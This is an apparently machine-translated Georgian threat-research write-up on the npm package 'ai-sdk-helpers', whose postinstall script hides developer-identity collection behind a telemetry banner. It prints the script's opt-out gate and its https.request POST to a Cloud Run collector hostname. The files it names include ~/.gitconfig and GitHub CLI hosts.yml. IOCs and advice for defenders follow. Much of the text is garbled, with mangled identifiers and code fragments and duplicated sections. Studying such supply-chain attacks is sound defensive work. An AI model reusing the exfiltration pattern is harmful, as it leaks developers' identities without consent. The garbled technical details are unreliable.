TL; DR
ერთი npm პაკეტი, ai-sdk-დამხმარეები, წარმოადგენს Vercel AI SDK-ის წარმოების ინსტრუმენტარიუმის ნაკრებს, რომელიც გთავაზობთ ხარჯების თვალყურის დევნებას, პროვაიდერის სარეზერვო ასლს და სტრიმინგის დამხმარე საშუალებებს.
მისი ინსტალაციის დროის სკრიპტი იხსნება გაპრიალებული გამჟღავნების ბანერით, რომელიც აღწერს ანონიმური დიაგნოსტიკა, რომელიც გვპირდება, რომ არ გადაიცემა არცერთი საწყისი კოდი, ტოკენი ან რწმუნებათა სიგელები, პატივს სცემს a-ს DO_NOT_TRACK უარის თქმა და ტელემეტრიის პოლიტიკის გვერდზე გადასასვლელი ბმული.
იგივე სკრიპტი შემდეგ კითხულობს დეველოპერის git identity-ს, GitHub CLI კონფიგურაციას, მანქანის ჰოსტის სახელს, OS-ის მომხმარებლის სახელს, სამუშაო დირექტორიას და CI პროვაიდერს.
ეს მონაცემები JSON ფორმატში იგზავნება Google Cloud Run-ის საბოლოო წერტილში, რაც აშკარა შეუსაბამობას ქმნის მითითებულ ტელემეტრიის პოლიტიკასა და შეგროვებულ ფაქტობრივ ველებს შორის.
პაკეტი გამოქვეყნდა ოცდაორ ვერსიაში ერთ 83-წამიან პაკეტში და ინსტალაციის სკრიპტი ბაიტ-ბაიტ იდენტურია ყველა მონიშნულ ვერსიაში.
ჩვენს მიერ განხილული რვა ვერსიიდან შვიდი pipeline ML კლასიფიკატორმა ისინი არადამაჯერებლად შეაფასა, რადგან თანხმობის ბანერის სტილი ლეგიტიმურ ტელემეტრიას ჰგავს.
ჩვენ ვახარისხებთ ai-sdk-helpers როგორც მავნე, ინსტალაციის დროს დეველოპერის იდენტობის შეგროვებისა და ექსფილტრაციის საფუძველზე.
სიმძიმე: მაღალი.
ინსტალაციის ანატომია
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } პოსტინსტალაცია ავტომატურად მუშაობს npm ინსტალაცია, სანამ პაკეტის რომელიმე რეკლამირებული კოდი იმპორტირებული იქნება. სკრიპტი სკრიპტები/პოსტინსტალ.js სწორედ აქ არის ინსტალაციის დროს დაკავშირებული ყველა ქცევა.
ის იხსნება კომენტარების ბლოკით და გაშვების შეტყობინებით, რომელიც ჩაწერილია კონფიდენციალურობაზე ორიენტირებული ღია კოდის პროექტის რეესტრში:
>როდესაც თქვენ აინსტალირებთ ai-sdk-helpers-ს, ჩვენ ვატარებთ გარემოს თავსებადობის სწრაფ შემოწმებას და ანონიმურ დიაგნოსტიკას ვაცხადებთ... მონაცემები სრულად ანონიმურია — ჩვენ ვაგროვებთ თქვენს პლატფორმას, Node ვერსიას და თქვენი მანქანის იდენტიფიკატორის ცალმხრივ ჰეშს. არცერთი საწყისი კოდი, ტოკენი ან ავტორიზაციის მონაცემები არ გადაიცემა.
ის ფაილში პირველ შესრულებად კოდს, ანუ მოქმედ უარის თქმის კარიბჭესაც კი ამყარებს:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } ამ კარიბჭის პირველ რიგში შეკვრა არის ის, რაც დანარჩენს კონსენსუსურად აღიქვამს: დეველოპერი, რომელიც ადგენს `D_არა_თვალთვალება` ინსტალაცია ჩუმად სრულდება და ასკვნის, რომ პაკეტი იცავს კონვენციას. დამსახურებული უარის თქმა რეალურია. ის, რაც ყველას აწუხებს, ვინც მას არ აყენებს, არის ქვემოთ აღწერილი კოლექცია - და არა უფრო ვიწრო „პლატფორმა, Node ვერსია და ცალმხრივი ჰეში“, როგორც შეტყობინებას ასახელებს.
ამ კარიბჭის ქვემოთ, სკრიპტი აწყობს დატვირთვას, რომელიც ამ აღწერას გაცილებით სცილდება.
- *Gიდენტობა.* rგადაწყვეტაScmიდენტობა()` eads `~.gitconfig`,`~.config/git/config`,და მიმდინარე პროექტის `.it/config`,აანალიზებს `[სერ]` ection და აბრუნებს კონფიგურირებულ მნიშვნელობას commit ელ.ფოსტა. თუ კონფიგურაციის ფაილი ელ.ფოსტას არ გამოიტანს, ის ისევ `G-ზე გადადისT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,და `EAIL` გარემოს ცვლადები. ფუნქციის ზემოთ მოცემული დოკუმენტური სტრიქონი აღწერს, როგორც „ერთი და იგივე პირის საკუთრებაში არსებულ მანქანებს შორის ინსტალაციების დუბლიკატის დედუქციის საშუალებას (მაგ. ლეპტოპი + CI)“ - გაცხადებული მიზანი, რომელიც მოითხოვს თითოეული დეველოპერის სტაბილურ იდენტიფიკატორს, რომელიც commit ელფოსტის მასალები.
- *GtHub-ის ანგარიში.* rsolveGitHubIdentity()` eads `~.config/gh/hosts.yml` და `~.config/gh/hosts.yaml` კონფიგურაციის ფაილი, რომელიც დაწერილია GitHub CLI-ის მიერ, როდესაც დეველოპერი ახდენს ავტორიზაციას — და regex-ის გამოყენებით იღებს `u-სერ:` და `ეცუდი:` ველები. ეს ფაილი ასევე ინახავს GitHub OAuth ტოკენს; სკრიპტის რეგულარული სახელი კონკრეტულად მომხმარებლის სახელსა და ელ. ფოსტის ხაზებს მიმართავს და არ იღებს ტოკენს. ამიტომ, გამჟღავნების ბანერის მტკიცება „ტოკენები... არასდროს გადაიცემა“ სიტყვასიტყვით მართალია ამ ერთი ველისთვის, სანამ მიმდებარე ანგარიშის იდენტიფიკატორები იკითხება და იგზავნება.
- *Hst და CI თითის ანაბეჭდი.* შემდეგ სკრიპტი აგროვებს `o-ს.hostname()`,`o.userInfo().მომხმარებლის სახელი`,Node-ის ვერსია, პლატფორმა და არქიტექტურა, `pპროცესი.cwd()`,და CI-პროვაიდერის იარლიყი, რომელიც გადაწყდა რვა პროვაიდერის გარემოს ცვლადების შემოწმებით (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite და ორი generic-CI flag). პროვაიდერების სია იკითხება, როგორც ინვენტარი, სადაც სკრიპტი აპირებს შესრულებას - ინტერაქტიული გარსები და ავტომატური აწყობა. pipelineერთნაირია.
ყველა ეს ერთი `d-შია დაჯგუფებულიაგნოსტიკოსები ობიექტი, თითოეული დეველოპერის ველებით, რომლებიც შეგროვებულია `i-ს ქვეშერთეული ey და მასპინძლის მონაცემები `r-ის ქვეშntime` nd `cტექსტი eys, შემდეგ სერიალიზებული და გადაცემული:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); პასუხი უგულებელყოფილია და ყველა შეცდომა შთანთქავს - კომენტარში აღნიშნულია, რომ „ტელემეტრიამ არასდროს არ უნდა დაარღვიოს ინსტალაცია“. საბოლოო წერტილის ჰოსტის სახელი კოდირებს Google Cloud Run სერვისს `e-ში.თოკი-დასავლეთი1` რეგიონი.
ეს ხარვეზი ისტორიაა. ბანერი ასახელებს მონაცემთა სამ კატეგორიას - პლატფორმა, Node ვერსია, მანქანის იდენტიფიკატორის ჰეში. დატვირთვა აგზავნის დეველოპერის რეალურ გიტს. commit ელ. ფოსტა, მათი GitHub მომხმარებლის სახელი და ელ. ფოსტა, მათი მოწყობილობის ჰოსტის სახელი და OS ანგარიშის სახელი, მათი პროექტის გზა და მათი CI გარემო. ველები, რომლებიც იდენტიფიცირებენ *p-სრსონი და მათი ანგარიშები* ზუსტად იმ ველებთან დაკავშირებით, რომლებიც გამჟღავნებაში გამოტოვებულია.
README აძლიერებს მეორე მხრიდან ჩარჩოს. მისი „ტელემეტრიის“ განყოფილება იმეორებს ანონიმურობის მტკიცებას და აკავშირებს სიტყვას `D_არა_თვალთვალება` o `cnsoledonottrack.com`,რეალური საზოგადოების გვერდი, რომელიც ადასტურებს უარის თქმის კონვენციას — აღიარებული კონფიდენციალურობის უფლების აღება standard რათა შეტყობინება რუტინულად წაიკითხონ.
Timeline
ეს არის ერთი პაკეტისგან შემდგარი აღმოჩენა ძალიან მოკლე, ძალიან ხშირი გამოცემის ისტორიით. არ არსებობს მრავალკვირიანი კამპანიის რკალი, რომლის თვალყურის დევნებაც შეიძლება — ვერსიების მთელი დიაპაზონი მანქანის სიჩქარით განხორციელდა.
| როდის (UTC) | თარიღის |
|---|---|
| 2026-06-03 20:31:20 | პირველი ვერსია (0.1.0) გამოქვეყნდა npm-ში. |
| 2026-06-03 20:31:20 – 20:32:43 | ყველა 22 ვერსია (0.1.0 მეშვეობით 1.4.2) გამოქვეყნდა 83-წამიანი ავტომატური ეთერით. |
| 2026-06-04 | აღმოჩენის სიგნალებით რვა ვერსია დაფიქსირდა; ხელით ანალიზი ადასტურებს ინსტალაციის დროს იდენტობის შეგროვებას და ამოღებას. პაკეტი ანალიზის დროს npm-ზე აქტიური დარჩა. |
22 სემანტიკურ ვერსიაში 83-წამიანი ფანჯარა თავისთავად ქცევითი ინდიკატორია: ვერსიის კიბე (`0)1.0`,`01.1`,… `14.2`)წარმოადგენს აქტიურად მხარდაჭერილი პროექტის ზედაპირს გამოშვების ისტორიით, რომელიც ერთი სკრიპტის გაშვებით შეიქმნა. ინსტალაციის სკრიპტი ამ კიბეზე არ იცვლება — იხილეთ ქვემოთ.
კომპრომისის ინდიკატორები
ინსტალაციის დროის დატვირთვა იდენტურია გამოქვეყნებული ვერსიების დიაპაზონში. A `dff` ფ`სripts/postinstall.js` etwide ვერსია `02.1 " მეორე ვერსია `14.2 " არ აბრუნებს განსხვავებებს; ქცევა არის ერთი ფიქსირებული თითის ანაბეჭდი და არა განვითარებადი დატვირთვა.
ქსელი
22 სემანტიკურ ვერსიაში 83-წამიანი ფანჯარა თავისთავად ქცევითი ინდიკატორია: ვერსიის კიბე (`0)1.0`,`01.1`,… `14.2`)წარმოადგენს აქტიურად მხარდაჭერილი პროექტის ზედაპირს გამოშვების ისტორიით, რომელიც ერთი სკრიპტის გაშვებით შეიქმნა. ინსტალაციის სკრიპტი ამ კიბეზე არ იცვლება — იხილეთ ქვემოთ.
კომპრომისის ინდიკატორები
ინსტალაციის დროის დატვირთვა იდენტურია გამოქვეყნებული ვერსიების დიაპაზონში. A `dff` ფ`სripts/postinstall.js` etwide ვერსია `02.1 " მეორე ვერსია `14.2 " არ აბრუნებს განსხვავებებს; ქცევა არის ერთი ფიქსირებული თითის ანაბეჭდი და არა განვითარებადი დატვირთვა.
ქსელი
| ინდიკატორი | როლი |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | ექსფილტრაციის საბოლოო წერტილი, რომელიც იღებს HTTPS POST მოთხოვნებს JSON დატვირთვით. ჰოსტირებულია Google Cloud Run-ზე. europe-west1 რეგიონი. |
Decoy ინფრასტრუქტურა
| ინდიკატორი | როლი |
|---|---|
ai-sdk.guide | პაკეტის მთავარი გვერდი და აქტიური საიტი, რომელიც მხარს უჭერს „AI SDK Guide“-ის ავტორის ვინაობას. |
ai-sdk.guide/telemetry | ინსტალაციის დროის გამჟღავნების შეტყობინებაში მითითებული ტელემეტრიის პოლიტიკის URL. |
hello@ai-sdk.guide | ავტორის ელ. ფოსტა მითითებულია package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | პაკეტის მიერ გამოცხადებული წყაროს საცავი. |
ფაილები წაკითხულია ინსტალაციის დროს
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[სერ]` ფოსტა
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uერ` `eავადმყოფობა
ქცევითი ხელმოწერები
- – მ`პსტინსტალი ook-ი იწვევს შეფუთული Node სკრიპტის გამოძახებას
- – უარის თქმის კარიბჭე (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_არა_თვალთვალება`)წარმოდგენილია როგორც კონფიდენციალურობის ფუნქცია, პირადობის შეგროვებამდე
- – JSON ობიექტის tbound HTTPS POST, რომელიც შეიცავს git ელ. ფოსტას, GitHub იდენტურობას, მასპინძლის სახელს, OS მომხმარებლის სახელს, cwd-ს და CI ლეიბლს.
- – იდენტური ინსტალაციის სკრიპტი სწრაფად გამოქვეყნებული ვერსიის კიბეზე
ატრიბუცია და დაკვირვებული ქცევა
ჩვენ არაფერს ვაწერთ გარდა იმისა, რაც პაკეტისა და რეესტრის მეტამონაცემების ჩანაწერებშია.
npm-ის ჩანაწერების მმართველი არის ანგარიში `aილსიმონი`,მისამართით `aiel@vigilance.security`.რეესტრში ეს ელ. ფოსტა დაუდასტურებლად არის მითითებული, ხოლო ანგარიშის წყაროს კონტროლის იდენტურობა დაუდასტურებლად. `pckage.json`,ცალკე, ავტორს წარმოადგენს, როგორც „AI SDK სახელმძღვანელო“.ello@ai-sdk.guide>`”მთავარი გვერდით `a-sdk.guide` და წყაროს საცავი `g-ის ქვეშthub.com/ai-sdk-guide` ორგანიზაცია. გამომცემლობის ანგარიშის ელექტრონული ფოსტის დომენი (`vigilance.security`)და პაკეტში არსებული ავტორის იდენტურობა (`a-sdk.guide`)სხვადასხვა დომენებია.
`ა-sdk.guide` ite ჩართულია და პასუხობს, და `/ელექტრომეტრია ath წყვეტს — სატყუარა იდენტობას მხარს უჭერს ხელმისაწვდომი ვებ-წარმომადგენლობა და არა მკვდარი ბმული, რაც ზრდის პაკეტის ჩარჩოს სანდოობას.
**დაკვირვებადი შესაძლებლობა.** ინსტალაციის დროს, პაკეტი კითხულობს დეველოპერის იდენტობისა და ანგარიშის კონფიგურაციის ფაილებს, იღებს ჰოსტისა და CI გარემოს ანაბეჭდებს და შედეგს გადასცემს ოპერატორის მიერ კონტროლირებად საბოლოო წერტილს, ამავდროულად აჩვენებს შეტყობინებას, რომელიც აღწერს უფრო ვიწრო და ანონიმურ მონაცემთა ნაკრებს. ჩვენ აღვწერთ ამ ქცევას; ჩვენ არ ვაცხადებთ მის მოტივს. პაკეტის შემფასებელმა მკითხველებმა — მათ შორის ნებისმიერმა მხარემ, რომელიც ცნობს გამომცემლის იდენტობას — უნდა შეაფასონ დაკვირვებადი შეუსაბამობა განცხადებულ და ფაქტობრივ მონაცემთა ნაკადებს შორის.
გავლენა, ტენდენციები და რეკომენდაციები დამცველებისთვის
ვინ არის გამომჟღავნებული. ყველა, ვინც აინსტალირებს ai-sdk-დამხმარეები — პირდაპირ ან გარდამავალი დამოკიდებულების სახით — გაუშვებს კოლექციას ამ მანქანაზე. რადგან ტრიგერი არის პოსტინსტალაცია, რეკლამირებული ბიბლიოთეკის კოდის იმპორტი არასდროს არის საჭირო მონაცემთა ნაკადის განსახორციელებლად; მხოლოდ ინსტალაციაც საკმარისია. ყველაზე მაღალი ღირებულების გარემოა დეველოპერის სამუშაო სადგურები კონფიგურირებული git იდენტურობით და ავთენტიფიცირებული GitHub CLI-ით, და CI მორბენლები, სადაც სკრიპტის CI-პროვაიდერის აღმოჩენა მიუთითებს, რომ კოლექციის გაშვება მოსალოდნელია build-ში. pipelines, ასევე ლეპტოპებზე.
რასაც ამხელს. ზოგადად, ეს არ არის აპლიკაციის საიდუმლოებები — დატვირთვა კონცენტრირებულია იდენტობის: დეველოპერის commit ელ. ფოსტა, მათი GitHub ანგარიშის სახელი და ელ. ფოსტა, მანქანისა და ანგარიშის სახელები და პროექტის გზა. ეს არის წინასწარიcisრუკა, თუ ვინ დააინსტალირა პაკეტი, რომელ მანქანაზე, რომელ საცავში და რომელი CI სისტემის ქვეშ. ორგანიზაციისთვის, ასეთი ჩანაწერების მცირე რაოდენობა ერთად ჩამოთვლიდა, რომელმა ინჟინრებმა და რომელმა შემქმნელმა სისტემებმა გამოიყენა დამოკიდებულება - სასარგებლოა, როგორც უფრო მიზანმიმართული შემდგომი აქტივობის წინამორბედი, მიუხედავად იმისა, რომ ამ პაკეტის ქცევა შეგროვებასა და გადაცემაზე მთავრდება.
ტენდენცია: ტელემეტრია, როგორც საფარველი. ლეგიტიმური დეველოპერული ინსტრუმენტები აგროვებენ ანონიმურ ინსტალაციის დიაგნოსტიკას და ამის სათანადოდ გაკეთების კონვენციებს — გამჟღავნების შეტყობინებას, ა. არ_აკონტროლოთ honor, უარის თქმის დროშა, პოლიტიკის URL — კარგად არის ცნობილი. ai-sdk-დამხმარეები ოთხივე ამ კონვენციას პატიოსნად ასახავს და მათ პირადობის შეგროვების შესაფუთ მასალად იყენებს. თანხმობის ბანერის, მოქმედი უარის თქმის ან კონფიდენციალურობის პოლიტიკის ბმულის არსებობა არ არის იმის მტკიცებულება, რომ პაკეტი სანდოა; ამ კონტროლის იმიტაცია იაფია. ერთადერთი სანდო შემოწმება არის ის, თუ რას კითხულობს კოდი სინამდვილეში და სად აგზავნის მას სინამდვილეში.
ამ შეფუთვას ასევე აქვს გაზომვადი ეფექტი ავტომატიზირებულ ტრიაჟზე. ჩვენი ვერსიების მიხედვით pipeline განხილვისას, ინსტალაციის სკრიპტის მარტივ ენაზე დაწერილი კომენტარები, სტრუქტურირებული ველების სახელები და ტრადიციული უარის თქმის კარიბჭე შეფასდა, როგორც ჩვეულებრივი ტელემეტრია: რვიდან შვიდი დაბრუნდა დაუსრულებელი ML კლასიფიკატორიდან და არა მავნე. სიგნალი, რომელიც წყვეტს ორაზროვნებას, არ არის პროზაში — ის არის კონკრეტულ ფაილებში, რომლებსაც სკრიპტი ხსნის (~/.gitconfig, ~/.config/gh/hosts.yml) და დანიშნულების ადგილს, სადაც ის იგზავნება. მიმომხილველი, ავტომატური თუ ადამიანი, რომელიც წაიკითხავს გამჟღავნებას და იქ გაჩერდება, არასწორ დასკვნამდე მივა; გადაწყვეტილება მონაცემთა ნაკადის ფაქტებიდან უნდა გამომდინარეობდეს.
დამცველებისთვის განკუთვნილი რჩევები:
- ინსტალაცია სტანდარტულად გამორთული სკრიპტებით — npm ინსტალაცია – იგნორირება-სკრიპტები, ან დააყენეთ იგნორირების-სკრიპტები=ჭეშმარიტი in .npmrc და შემოწმებული აწყობის ნაბიჯების ექსპლიციტურად გაშვება. ეს ანეიტრალებს პოსტინსტალაცია- გააქტიურებული შეგროვება მთელ დაფაზე.
- უარის თქმის კონტროლებს ნდობის სიგნალებად ნუ მიიჩნევთ. ა) არ_აკონტროლოთ შემოწმება ან „ტელემეტრიის პოლიტიკის“ ბმული არაფერს გეუბნებათ სკრიპტის მიერ შეგროვებული მონაცემების შესახებ, როდესაც კარიბჭე არ არის დაყენებული.
- ხელოვნური ინტელექტის ეკოსისტემის დამხმარე პაკეტების გამოყენებამდე წაიკითხეთ ინსტალაციის კაუჭი. Vercel-ის ხელოვნური ინტელექტის SDK სივრცე სწრაფად მოძრავი, მაღალი სანდოობის სამიზნეა; პოსტინსტალაცია რომელიც ეხება ~/.gitconfig or ~/.config/gh/ ეს მკაფიო სიგნალია იმის მიუხედავად, თუ როგორ არის დაწერილი მიმდებარე კომენტარები.
- აწყობის დროის გასვლის მონიტორინგი. გამავალი HTTPS POST npm ინსტალაცია, განსაკუთრებით ახლად მოწოდებული ღრუბლოვანი ფუნქციის საბოლოო წერტილისთვის, დაკვირვებადია ქსელის დონეზე და წარმოადგენს ძლიერ აღმოჩენის წერტილს CI გარემოსთვის.
- ყურადღება მიაქციეთ შეკუმშული ვერსიის კიბეებს. პაკეტი, რომლის სემანტიკური ვერსიის მთელი ისტორია წამებში ჩნდება, უცვლელი ინსტალაციის სკრიპტით, წარმოადგენს შემუშავებულ ტექნიკური მომსახურების ისტორიას.





